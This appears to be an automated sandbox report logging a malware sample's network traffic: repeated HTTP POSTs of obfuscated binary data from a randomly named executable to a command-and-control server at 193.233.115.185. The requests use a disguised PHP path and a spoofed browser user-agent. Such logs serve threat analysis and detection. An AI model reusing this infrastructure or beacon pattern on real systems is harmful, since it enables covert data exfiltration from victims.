                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            28192.168.2.449770193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:39.257210970 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:39.604536057 CEST2548OUTData Raw: 56 54 51 50 5f 5b 50 59 59 59 51 58 52 5f 56 56 57 54 5d 5e 5a 5d 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VTQP_[PYYYQXR_VVWT]^Z]U^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'/, :)41#(>4$!$ S)4 R%+B+'485#F".[
                                                            Jul 10, 2024 09:06:39.919055939 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:39.922501087 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:39 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            29192.168.2.449771193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:40.044034958 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:40.044078112 CEST2548OUTData Raw: 56 53 54 53 5f 53 55 5a 59 59 51 58 52 50 56 52 57 55 5d 5a 5a 59 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VSTS_SUZYYQXRPVRWU]ZZYU^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',159 4).,"45Z$?<R=(< -?&A<785#F".[
                                                            Jul 10, 2024 09:06:40.747931957 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 36 3a 34 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:06:40 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            30192.168.2.449772193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:40.314094067 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:40.314094067 CEST1884OUTData Raw: 56 53 54 55 5f 5d 55 5b 59 59 51 58 52 5c 56 50 57 50 5d 5e 5a 5b 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VSTU_]U[YYQXR\VPWP]^Z[UP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$];.T!:!_4T?^(+ 4.0Z4*;(4/&*+7\;#F".[ 4
                                                            Jul 10, 2024 09:06:41.085923910 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:41.087013960 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:40 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            31192.168.2.449773193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:40.870973110 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:41.229605913 CEST2548OUTData Raw: 56 5c 54 57 5f 5d 55 5a 59 59 51 58 52 5d 56 54 57 5d 5d 5f 5a 5f 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V\TW_]UZYYQXR]VTW]]_Z_U__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$;?-6>#!+<07$&<S(+7X#>#%;%+' 85#F".[ 0
                                                            Jul 10, 2024 09:06:41.576256990 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:41.580924988 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:41 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            32192.168.2.449774193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:41.702109098 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:42.057816029 CEST2548OUTData Raw: 53 50 54 55 5f 5c 50 5e 59 59 51 58 52 51 56 52 57 5c 5d 5f 5a 51 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SPTU_\P^YYQXRQVRW\]_ZQU^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$];<&!)& T#Z?X/4*3<8((#\ =(25>7#,#F".[
                                                            Jul 10, 2024 09:06:42.375436068 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:42.723119020 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:42 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8
                                                            Jul 10, 2024 09:06:42.723481894 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:42.724711895 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:42 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            33192.168.2.449775193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:42.855053902 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:43.214119911 CEST2548OUTData Raw: 56 56 54 52 5a 5f 50 5a 59 59 51 58 52 5b 56 55 57 52 5d 53 5a 5a 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VVTRZ_PZYYQXR[VUWR]SZZUP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'/*6_) 2?_?>+R75\$,<R)+]7-42:G<'$.5#F".[ (
                                                            Jul 10, 2024 09:06:43.536278963 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:43.542485952 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:43 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            34192.168.2.449776193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:43.668288946 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:44.026623964 CEST2548OUTData Raw: 53 55 54 50 5f 5b 55 5e 59 59 51 58 52 5c 56 55 57 51 5d 5b 5a 58 55 5a 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SUTP_[U^YYQXR\VUWQ][ZXUZ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$.?"6=Y7!+(=$ !',,S>,7-#1+&(3^85#F".[ 4
                                                            Jul 10, 2024 09:06:44.057637930 CEST1236OUTData Raw: 3d 38 0c 3c 27 28 0f 13 39 2e 27 23 36 2f 33 2d 30 07 0f 05 3b 5d 20 1b 32 04 22 16 03 06 17 23 39 0f 3a 0b 30 2f 5d 16 33 55 5a 18 08 5f 38 21 01 2e 3f 0f 05 38 03 42 30 34 1b 23 0c 3e 51 25 3f 30 0b 09 37 5b 2c 58 3f 3e 39 23 26 29 1c 20 33 42
                                                            Data Ascii: =8<'(9.'#6/3-0;] 2"#9:0/]3UZ_8!.?8B04#>Q%?07[,X?>9#&) 3B+:(Y<:+GS981$8 (&W 64#2[ &%7021,)0]T3$_18(;[Y:03,-!)*'>3$$;&!?'1_S8X4:V"7W 3) '<*1%.V1:3<?>+2
                                                            Jul 10, 2024 09:06:44.341594934 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:44.352900028 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:44 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            35192.168.2.449777193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:44.479404926 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:44.823402882 CEST2548OUTData Raw: 56 5d 54 52 5f 5a 55 5f 59 59 51 58 52 5a 56 53 57 53 5d 5e 5a 5d 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V]TR_ZU_YYQXRZVSWS]^Z]UQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'.,"957?(X47$!Y3?(*]3 =W1:F>7;%#F".[ ,
                                                            Jul 10, 2024 09:06:45.176001072 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:45.181706905 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:45 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            36192.168.2.449778193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:45.532058954 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:45.885881901 CEST2548OUTData Raw: 56 57 51 55 5a 5c 50 5d 59 59 51 58 52 5c 56 54 57 53 5d 5a 5a 5a 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VWQUZ\P]YYQXR\VTWS]ZZZU]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',<%"*42\(.7S &,#>7Z7>?$+5>7Z,%#F".[ 4


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            37192.168.2.449779193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:46.096744061 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1868
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:46.448544025 CEST1868OUTData Raw: 56 53 54 50 5f 5c 55 59 59 59 51 58 52 58 56 5b 57 5d 5d 59 5a 5f 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VSTP_\UYYYQXRXV[W]]YZ_UQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X/?)!)4).7#75\$4*7- %+:F??^;#F".[
                                                            Jul 10, 2024 09:06:46.778228998 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:46.785243988 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:46 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            38192.168.2.449780193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:46.213473082 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:46.558132887 CEST2548OUTData Raw: 56 54 51 52 5f 58 55 5a 59 59 51 58 52 59 56 55 57 50 5d 52 5a 5d 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VTQR_XUZYYQXRYVUWP]RZ]U]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$.<1!)_#;+>7$.$#*,4 U%]=?,5#F".[
                                                            Jul 10, 2024 09:06:46.910577059 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:46.914596081 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:46 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            39192.168.2.449781193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:47.193845987 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:47.542140961 CEST2548OUTData Raw: 56 55 54 56 5a 5f 50 5c 59 59 51 58 52 5e 56 5a 57 54 5d 5e 5a 50 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VUTVZ_P\YYQXR^VZWT]^ZPU]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'/-!9\ T??+S4':$#*4 >,2"<4;8#F".[ <
                                                            Jul 10, 2024 09:06:47.868593931 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:47.984509945 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:47 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            40192.168.2.449782193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:48.110821962 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:48.466613054 CEST2548OUTData Raw: 56 5c 51 50 5a 59 55 5c 59 59 51 58 52 51 56 50 57 57 5d 53 5a 5b 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V\QPZYU\YYQXRQVPWW]SZ[UX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$,/=!>4^<. 74)X3<+);"-$T&(&(7Z.5#F".[
                                                            Jul 10, 2024 09:06:48.797219992 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:48.797880888 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:06:48 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            41192.168.2.449783193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:48.918423891 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:49.276618004 CEST2548OUTData Raw: 56 5c 54 50 5f 58 50 59 59 59 51 58 52 5f 56 54 57 54 5d 59 5a 50 55 5b 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V\TP_XPYYYQXR_VTWT]YZPU[_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X8-694+?>S4'>3,$S=(7"= &B+7'\/5#F".[
